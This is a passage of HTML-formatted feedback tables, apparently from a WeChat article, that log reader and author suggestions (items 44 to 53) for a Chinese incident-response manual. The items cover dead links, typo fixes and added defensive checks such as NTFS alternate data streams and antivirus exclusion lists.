#ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0044</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">PseuDo15</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-08-02 14:53</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信公众号文章留言</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">添加域控的应急排查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">积攒资料过程中，可能在后续版本单独做章节说明</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">45.  安芯网盾的在线查杀网址失效</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0045</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">FR33D0M</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-08-06 16:45</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">安芯网盾的在线查杀网址失效</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已删除</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-08-06 22:54</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">46.  绿盟威胁分析中心网址失效</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0046</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">FR33D0M</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-08-06 16:59</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">绿盟威胁分析中心网址失效</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已删除</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-08-06 23:01</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">47. 勒索病毒章节-根据勒索病毒类型寻找解决方法中文字错误【文字错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0047</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">FR33D0M</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-08-07 10:00</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">瑞星放勒索病毒专题 -&gt; 瑞星防勒索病毒专题</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已修复</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-08-07 21:52</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">48. 勒索病毒章节-根据勒索病毒类型寻找解决方法中文字错误【文字错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0048</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-12-24 18:40</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">勒索病毒章节-根据勒索病毒类型寻找解决方法中文字错误</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已修正</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-16 19:17</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">49. 善后阶段-添加RDP可以直接登录的服务器</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0049</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-12-25 15:02</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">善后阶段-定损 部分只体现了ssh密钥直接登录的服务器，建议添加RDP直接连接的服务器</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-16 19:18</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">50. 常规安全排查-添加各安全软件的例外（排除）列表</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0050</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-12-26 13:30</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">常规安全排查部分添加安全软件的白名单检查，也就是所谓的排除列表</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-16 19:20</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">51. 常规安全排查- NTFS备用数据流检查(ADS)</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0051</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOP Team</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-02-16 17:21</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">常规安全排查部分添加关于 NTFS 备用数据流检查，经常被用来规避检查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完成</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-16 22:23</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">在 常见问题的解决办法 -&gt; 0x01 文件被隐藏 章节中添加</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">52. 手册搜索乱码+引用字符无法搜索到</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0052</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">corezon、imemaker</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-03-05 16:05</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信公众号私信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">手册搜索乱码</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已修复</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-18 02:07</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">markdown 的 </span><code><span leaf="">&gt;</span></code><span leaf=""> 语法中的内容都无法搜索到。但并非完美修复，本质原因还是某些字体缺少部分中文字符</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">53. 添加 Windows Sandbox 状态检查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0053</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td 